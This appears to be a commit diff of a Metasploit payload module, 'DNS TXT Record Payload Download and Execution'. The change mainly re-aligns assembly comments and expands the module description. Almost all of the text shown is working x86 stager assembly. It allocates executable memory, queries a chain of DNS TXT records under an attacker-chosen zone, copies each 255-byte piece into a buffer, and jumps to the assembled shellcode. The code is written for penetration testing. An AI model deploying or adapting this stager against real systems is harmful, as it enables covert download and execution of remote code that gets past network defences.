@@ -14,7 +14,13 @@ module MetasploitModule
14
14
def initialize ( info = { } )
15
15
super ( merge_info ( info ,
16
16
'Name' => 'DNS TXT Record Payload Download and Execution' ,
17
- 'Description' => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload' ,
17
+ 'Description' => %q{
18
+ Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE
19
+ option is used as the base name to iterate over. The payload will first request the TXT contents of the a
20
+ hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly
21
+ 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using
22
+ x86/alpha_mixed with the BufferRegister option set to EDI.
23
+ } ,
18
24
'Author' =>
19
25
[
20
26
'corelanc0d3r <peter.ve[at]corelan.be>'
@@ -54,116 +60,116 @@ def initialize(info = {})
54
60
# (Example will show a messagebox)
55
61
#
56
62
# DNS TXT Records :
57
- # a.corelan.eu : contains first 255 bytes of the alpha shellcode
58
- # b.corelan.eu : contains the next 255 bytes of the alpha shellcode
59
- # c.corelan.eu : contains the last 144 bytes of the alpha shellcode
63
+ # a.corelan.eu : contains first 255 bytes of the alpha shellcode
64
+ # b.corelan.eu : contains the next 255 bytes of the alpha shellcode
65
+ # c.corelan.eu : contains the last 144 bytes of the alpha shellcode
60
66
61
67
def generate ( _opts = { } )
62
68
63
- dnsname = datastore [ 'DNSZONE' ]
64
- wType = 0x0010 #DNS_TYPE_TEXT (TEXT)
65
- wTypeOffset = 0x1c
69
+ dnsname = datastore [ 'DNSZONE' ]
70
+ wType = 0x0010 #DNS_TYPE_TEXT (TEXT)
71
+ wTypeOffset = 0x1c
66
72
67
- queryoptions = 0x248
73
+ queryoptions = 0x248
68
74
# DNS_QUERY_RETURN_MESSAGE (0x200)
69
75
# DNS_QUERY_BYPASS_CACHE (0x08)
70
76
# DNS_QUERY_NO_HOSTS_FILE (0x40)
71
77
# DNS_QUERY_ONLY_TCP (0x02) <- not used atm
72
78
73
- bufferreg = "edi"
79
+ bufferreg = "edi"
74
80
75
81
#create actual payload
76
82
payload_data = %Q^
77
- cld ; clear direction flag
78
- call start ; start main routine
83
+ cld ; clear direction flag
84
+ call start ; start main routine
79
85
#{ asm_block_api }
80
86
; actual routine
81
87
start:
82
- pop ebp ; get ptr to block_api routine
88
+ pop ebp ; get ptr to block_api routine
83
89
84
90
; first allocate some space in heap to hold payload
85
91
alloc_space:
86
- xor eax,eax ; clear EAX
87
- push 0x40 ; flProtect (RWX)
88
- mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
89
- push eax ; flAllocationType MEM_COMMIT (0x1000)
90
- push eax ; dwSize (0x1000)
91
- push 0x0 ; lpAddress
92
- push #{ Rex ::Text . block_api_hash ( "kernel32.dll" , "VirtualAlloc" ) } ; kernel32.dll!VirtualAlloc
92
+ xor eax,eax ; clear EAX
93
+ push 0x40 ; flProtect (RWX)
94
+ mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
95
+ push eax ; flAllocationType MEM_COMMIT (0x1000)
96
+ push eax ; dwSize (0x1000)
97
+ push 0x0 ; lpAddress
98
+ push #{ Rex ::Text . block_api_hash ( "kernel32.dll" , "VirtualAlloc" ) }
93
99
call ebp
94
- push eax ; save pointer on stack, will be used in memcpy
95
- mov #{ bufferreg } , eax ; save pointer, to jump to at the end
100
+ push eax ; save pointer on stack, will be used in memcpy
101
+ mov #{ bufferreg } , eax ; save pointer, to jump to at the end
96
102
97
103
98
- ;load dnsapi.dll
104
+ ; load dnsapi.dll
99
105
load_dnsapi:
100
- xor eax,eax ; put part of string (hex) in eax
106
+ xor eax,eax ; put part of string (hex) in eax
101
107
mov al,0x70
102
108
mov ah,0x69
103
- push eax ; Push 'dnsapi' to the stack
104
- push 0x61736e64 ; ...
105
- push esp ; Push a pointer to the 'dnsapi' string on the stack.
106
- push #{ Rex ::Text . block_api_hash ( "kernel32.dll" , "LoadLibraryA" ) } ; kernel32.dll!LoadLibraryA
107
- call ebp ; LoadLibraryA( "dnsapi" )
109
+ push eax ; push 'dnsapi' to the stack
110
+ push 0x61736e64 ; ...
111
+ push esp ; Push a pointer to the 'dnsapi' string on the stack.
112
+ push #{ Rex ::Text . block_api_hash ( "kernel32.dll" , "LoadLibraryA" ) }
113
+ call ebp ; LoadLibraryA( "dnsapi" )
108
114
109
115
;prepare for loop of queries
110
- mov bl,0x61 ; first query, start with 'a'
116
+ mov bl,0x61 ; first query, start with 'a'
111
117
112
118
dnsquery:
113
- jmp.i8 get_dnsname ; get dnsname
119
+ jmp.i8 get_dnsname ; get dnsname
114
120
115
121
get_dnsname_return:
116
- pop eax ; get ptr to dnsname (lpstrName)
117
- mov [eax],bl ; patch sequence number in place
118
- xchg esi,ebx ; save sequence number
119
- push esp ; prepare ppQueryResultsSet
120
- pop ebx ; (put ptr to ptr to stack on stack)
122
+ pop eax ; get ptr to dnsname (lpstrName)
123
+ mov [eax],bl ; patch sequence number in place
124
+ xchg esi,ebx ; save sequence number
125
+ push esp ; prepare ppQueryResultsSet
126
+ pop ebx ; (put ptr to ptr to stack on stack)
121
127
sub ebx,4
122
128
push ebx
123
- push 0x0 ; pReserved
124
- push ebx ; ppQueryResultsSet
125
- push 0x0 ; pExtra
126
- push #{ queryoptions } ; Options
127
- push #{ wType } ; wType
128
- push eax ; lpstrName
129
- push #{ Rex ::Text . block_api_hash ( "dnsapi.dll" , "DnsQuery_A" ) } ; dnsapi.dll!DnsQuery_A
130
- call ebp ;
131
- test eax, eax ; query ok ?
132
- jnz jump_to_payload ; no, jump to payload
133
- jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
129
+ push 0x0 ; pReserved
130
+ push ebx ; ppQueryResultsSet
131
+ push 0x0 ; pExtra
132
+ push #{ queryoptions } ; Options
133
+ push #{ wType } ; wType
134
+ push eax ; lpstrName
135
+ push #{ Rex ::Text . block_api_hash ( "dnsapi.dll" , "DnsQuery_A" ) }
136
+ call ebp ;
137
+ test eax, eax ; query ok?
138
+ jnz jump_to_payload ; no, jump to payload
139
+ jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
134
140
135
141
get_dnsname:
136
142
call get_dnsname_return
137
143
db "a.#{ dnsname } ", 0x00
138
144
139
145
get_query_result:
140
- xchg #{ bufferreg } ,edx ; save start of heap
141
- pop #{ bufferreg } ; heap structure containing DNS results
142
- mov eax,[#{ bufferreg } +0x18] ; check if value at offset 0x18 is 0x1
143
- cmp eax,1
144
- jne prepare_payload ; jmp to payload
145
- add #{ bufferreg } ,#{ wTypeOffset } ; get ptr to ptr to DNS reply
146
+ xchg #{ bufferreg } ,edx ; save start of heap
147
+ pop #{ bufferreg } ; heap structure containing DNS results (DNS_TXT_DATAA)
148
+ mov eax,[#{ bufferreg } +0x18] ; check the number of strings in the response
149
+ cmp eax,1 ; skip if there's not exactly 1 string in the response
150
+ jne prepare_payload ; jmp to payload
151
+ add #{ bufferreg } ,#{ wTypeOffset } ; get ptr to ptr to DNS reply
146
152
mov #{ bufferreg } ,[#{ bufferreg } ] ; get ptr to DNS reply
147
153
148
154
copy_piece_to_heap:
149
- xchg ebx,esi ; save counter
150
- mov esi,edi ; set source
151
- mov edi,[esp+0x8] ; retrieve heap destination for memcpy
152
- xor ecx,ecx ; clear ecx
153
- mov cl,0xff ; always copy 255 bytes, no matter what
154
- rep movsb ; copy from ESI to EDI
155
- push edi ; save target for next copy
156
- push edi ; 2 more times to make sure it's at esp+8
157
- push edi ;
158
- inc ebx ; increment sequence
159
- xchg #{ bufferreg } ,edx ; restore start of heap
160
- jmp.i8 dnsquery ; try to get the next piece, if any
155
+ xchg ebx,esi ; save counter
156
+ mov esi,edi ; set source
157
+ mov edi,[esp+0x8] ; retrieve heap destination for memcpy
158
+ xor ecx,ecx ; clear ecx
159
+ mov cl,0xff ; always copy 255 bytes, no matter what
160
+ rep movsb ; copy from ESI to EDI
161
+ push edi ; save target for next copy
162
+ push edi ; 2 more times to make sure it's at esp+8
163
+ push edi ;
164
+ inc ebx ; increment sequence
165
+ xchg #{ bufferreg } ,edx ; restore start of heap
166
+ jmp.i8 dnsquery ; try to get the next piece, if any
161
167
162
168
prepare_payload:
163
169
mov #{ bufferreg } ,edx
164
170
165
171
jump_to_payload:
166
- jmp #{ bufferreg } ; jump to it
172
+ jmp #{ bufferreg } ; jump to it
167
173
^
168
174
self . assembly = payload_data
169
175
super
0 commit comments